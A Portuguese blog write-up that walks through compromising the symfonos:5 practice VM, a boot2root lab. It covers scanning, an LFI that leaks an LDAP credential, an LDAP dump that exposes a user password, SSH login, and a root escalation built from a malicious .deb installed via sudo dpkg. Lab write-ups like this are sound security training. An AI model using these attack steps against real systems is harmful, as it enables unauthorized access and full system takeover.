SYMFONOS: 5

Estou aqui novamente para apresentar mais uma boot2root VM para vocês. Dessa vez lhes trago symfonos: 5.
Essa máquina foi lançada em 07 de Janeiro de 2020 e o download pode ser realizado em SYMFONOS:5.
Caso tenham perdido o writeup da Symfonos:4, é só acessar AQUI!
Sem mais delongas, vamos ao que interessa!

Como sempre começamos com o host discovery:

$netdiscover -i eth1 -r 192.168.56.0/24                                                                                                                                                                                     
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                                             
                                                                                                                                                                                                                                           
 20 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 1200                                                                                                                                                                         
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:13      1      60  Unknown vendor                                                                                                                                                                          
 192.168.56.100  08:00:27:96:57:d3     14     840  PCS Systemtechnik GmbH                                                                                                                                                                  
 192.168.56.106  08:00:27:e0:84:aa      5     300  PCS Systemtechnik GmbH                                                                                                                                                                  

Agora que já identificamos nosso alvo, podemos descobrir quais são os serviços existentes nesse host:

$nmap -sS -sV -sC -Pn -p- 192.168.56.106                                                                                                                                                                                       
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 20:00 EST                                                                                                                                                                            
Nmap scan report for 192.168.56.106                                                                                                                                                                                                        
Host is up (0.00014s latency).                                                                                                                                                                                                             
Not shown: 65531 closed ports                                                                                                                                                                                                              
PORT    STATE SERVICE  VERSION                                                                                                                                                                                                             
22/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)                                                                                                                                                                      
| ssh-hostkey:                                                                                                                                                                                                                             
|   2048 16:70:13:77:22:f9:68:78:40:0d:21:76:c1:50:54:23 (RSA)                                                                                                                                                                             
|   256 a8:06:23:d0:93:18:7d:7a:6b:05:77:8d:8b:c9:ec:02 (ECDSA)                                                                                                                                                                            
|_  256 52:c0:83:18:f4:c7:38:65:5a:ce:97:66:f3:75:68:4c (ED25519)                                                                                                                                                                          
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))                                                                                                                                                                                      
|_http-server-header: Apache/2.4.29 (Ubuntu)                                                                                                                                                                                               
|_http-title: Site doesn't have a title (text/html).                                                                                                                                                                                       
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X                                                                                                                                                                                              
636/tcp open  ldapssl?                                                                                                                                                                                                                     
MAC Address: 08:00:27:E0:84:AA (Oracle VirtualBox virtual NIC)                                                                                                                                                                             
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                                                                                                    
                                                                                                                                                                                                                                           
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                                                                                             
Nmap done: 1 IP address (1 host up) scanned in 73.94 seconds

Temos os serviços LDAP, LDAPS, SSH e HTTP disponíveis no alvo. Com isso, vamos começar nossa análise pela aplicação web.

symfonos5

Como vocês podem ver acima, a página contém apenas uma imagem.  Logo, o jeito  será realizar um brute para identificar algum diretório ou página escondida.

$ ./dirsearch.py -u 192.168.56.106 -e html,php,htm,log,txt,json -f -t 20 -x 400,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt                                                             

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: html, php, htm, log, txt, json | HTTP method: get | Threads: 20 | Wordlist size: 1543646

Error Log: /root/tools/dirsearch/logs/errors-20-02-27_20-11-25.log

Target: 192.168.56.106

[20:11:25] Starting: 
[20:11:25] 200 -  207B  - /index.html
[20:11:26] 302 -  962B  - /home.php  ->  admin.php
[20:11:30] 200 -    2KB - /admin.php
[20:11:30] 200 -    2KB - /static/
[20:11:53] 302 -    0B  - /logout.php  ->  admin.php
[20:12:49] 200 -  165B  - /portraits.php

Task Completed

Identificamos a página admin.php, que trata-se de um portal de autenticação.

symfonos5.1

Além disso, como pode ser visto no output do dirsearch, a página home.php faz redirect para admin.php.

O interessante é que analisando esse redirect, identificamos via burp que o fonte da página home.php possuí um link que realiza um redirect para portraits.php.

symfonos5.2

E esse redirect é vulnerável a LFI.

symfonos5.3

Com isso, conseguimos acesso ao código fonte da página admin.php.

symfonos5.4

O qual foi possível obter uma credencial do ldap. Vide imagem acima.

Como sabemos que esse host possuí a porta TCP-389 aberta, podemos utilizar a credencial encontrada para realizar a conexão ldap.

root@kali:~# ldapsearch -h 192.168.56.106 -p 389 -b "dc=symfonos,dc=local" -w 'qMDdyZh3cT6eeAWD' -D "cn=admin,dc=symfonos,dc=local"                                                                                                        
# extended LDIF                                                                                                                                                                                                                            
#                                                                                                                                                                                                                                          
# LDAPv3                                                                                                                                                                                                                                   
# base <dc=symfonos,dc=local> with scope subtree                                                                                                                                                                                           
# filter: (objectclass=*)                                                                                                                                                                                                                  
# requesting: ALL                                                                                                                                                                                                                          
#                                                                                                                                                                                                                                          
                                                                                                                                                                                                                                           
# symfonos.local                                                                                                                                                                                                                           
dn: dc=symfonos,dc=local                                                                                                                                                                                                                   
objectClass: top                                                                                                                                                                                                                           
objectClass: dcObject                                                                                                                                                                                                                      
objectClass: organization                                                                                                                                                                                                                  
o: symfonos                                                                                                                                                                                                                                
dc: symfonos                                                                                                                                                                                                                               
                                                                                                                     
# admin, symfonos.local                                                                                              
dn: cn=admin,dc=symfonos,dc=local                                                                                    
objectClass: simpleSecurityObject                                                                                    
objectClass: organizationalRole                                                                                      
cn: admin                                                                                                            
description: LDAP administrator                                                                                      
userPassword:: e1NTSEF9VVdZeHZ1aEEwYldzamZyMmJodHhRYmFwcjllU2dLVm0=                                                  
                                                                                                                     
# zeus, symfonos.local                                                                                               
dn: uid=zeus,dc=symfonos,dc=local                                                                                    
uid: zeus                                                                                                            
cn: zeus                                                                                                             
sn: 3                                                                                                                
objectClass: top                                                                                                     
objectClass: posixAccount                                                                                            
objectClass: inetOrgPerson                                                                                           
loginShell: /bin/bash                                                                                                
homeDirectory: /home/zeus                                                                                            
uidNumber: 14583102                                                                                                  
gidNumber: 14564100                                                                                                  
userPassword:: Y2V0a0tmNHdDdUhDOUZFVA==                                                                              
mail: zeus@symfonos.local
gecos: Zeus User

# search result
search: 2
result: 0 Success

# numResponses: 4
# numEntries: 3
root@kali:~# echo 'Y2V0a0tmNHdDdUhDOUZFVA==' | base64 -d                                                             │
cetkKf4wCuHC9FET
root@kali:~#

Perfeito! Conseguimos identificar um outro usuário (Zeus) que aparentemente tem acesso a máquina. Pois o mesmo possui shell e diretório home.

Agora basta validar se também é possível logar com esse usuário no host via ssh.

$ ssh zeus@192.168.56.106                                                                                                                                                                                                       
The authenticity of host '192.168.56.106 (192.168.56.106)' can't be established.                                                                                                                                                           
ECDSA key fingerprint is SHA256:0LrOVGfXWfj1Vtdo1krp85ZDlnsb3DDJFap9cOF5WoA.                                                                                                                                                               
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes                                                                                                                                                                   
Warning: Permanently added '192.168.56.106' (ECDSA) to the list of known hosts.                                                                                                                                                            
zeus@192.168.56.106's password:                                                                                                                                                                                                            
Linux symfonos5 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64                                                                                                                                                         
                                                                                                                                                                                                                                           
The programs included with the Debian GNU/Linux system are free software;                                                                                                                                                                  
the exact distribution terms for each program are described in the                                                                                                                                                                         
individual files in /usr/share/doc/*/copyright.                                                                                                                                                                                            
                                                                                                                                                                                                                                           
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent                                                                                                                                                                          
permitted by applicable law.                                                                                                                                                                                                               
Last login: Mon Jan  6 18:27:11 2020 from 192.168.65.128                                                                                                                                                                                   
zeus@symfonos5:~$

474579_340579822646027_100000820357327_862914_1138730951_o

Hora de buscar uma maneira de escalar privilégio.

Verificamos que o usuário Zeus consegue executar o comando dpkg com privilégio de root vi sudo.

zeus@symfonos5:~$ sudo -l
Matching Defaults entries for zeus on symfonos5:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zeus may run the following commands on symfonos5:
    (root) NOPASSWD: /usr/bin/dpkg
zeus@symfonos5:~$

Com isso precisamos apenas criar um arquivo deb malicioso.

root@kali:~# TF=$(mktemp -d)
root@kali:~# echo 'exec /bin/sh' > $TF/x.sh
root@kali:~# fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
Requiring backports/ is deprecated. Require just the needed backports instead
Rails backports are deprecated.
Debian packaging tools generally labels all files in /etc as config files, as mandated by policy, so fpm defaults to this behavior for deb packages. You can disable this default behavior with --deb-no-default-config-files flag {:level=>:warn}
Created package {:path=>"x_1.0_all.deb"}
root@kali:~# cd $TF
root@kali:/tmp/tmp.PpgJlQhbmd# ls -l
total 4
-rw-r--r-- 1 root root 13 Mar  4 20:38 x.sh
root@kali:/tmp/tmp.PpgJlQhbmd#

Transferi-lo via scp.

root@kali:/tmp# scp x_1.0_all.deb zeus@192.168.56.106:/tmp                                                                                                                                                                               
zeus@192.168.56.106's password: 
Permission denied, please try again.
zeus@192.168.56.106's password: 
x_1.0_all.deb                                                                                                                                                                                            100% 1106     1.4MB/s   00:00    
root@kali:/tmp#

e executá-lo via sudo.

zeus@symfonos5:/tmp$ sudo /usr/bin/dpkg -i x_1.0_all.deb
(Reading database ... 53057 files and directories currently installed.)
Preparing to unpack x_1.0_all.deb ...
# whoami
root
#

game-over-knuckles-only_480x

# cat proof.txt
 
                    Congrats on rooting symfonos:5!
  
                                   ZEUS
              *      .            dZZZZZ,       .          *
                                 dZZZZ  ZZ,
     *         .         ,AZZZZZZZZZZZ  `ZZ,_          *
                    ,ZZZZZZV'      ZZZZ   `Z,`\
                  ,ZZZ    ZZ   .    ZZZZ   `V
        *      ZZZZV'     ZZ         ZZZZ    \_              .
.              V   l   .   ZZ        ZZZZZZ          .
               l    \       ZZ,     ZZZ  ZZZZZZ,
   .          /            ZZ l    ZZZ    ZZZ `Z,
                          ZZ  l   ZZZ     Z Z, `Z,            *
                .        ZZ      ZZZ      Z  Z, `l
                         Z        ZZ      V  `Z   \
                         V        ZZC     l   V
           Z             l        V ZR        l      .
            \             \       l  ZA
                            \         C          C
                                  \   K   /    /             K
                          A    \   \  |  /  /              /
                           \        \\|/ /  /
   __________________________________\|/_________________________
            Contact me via Twitter @zayotic to give feedback!

#

 

Referência:

https://gtfobins.github.io/gtfobins/dpkg/

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.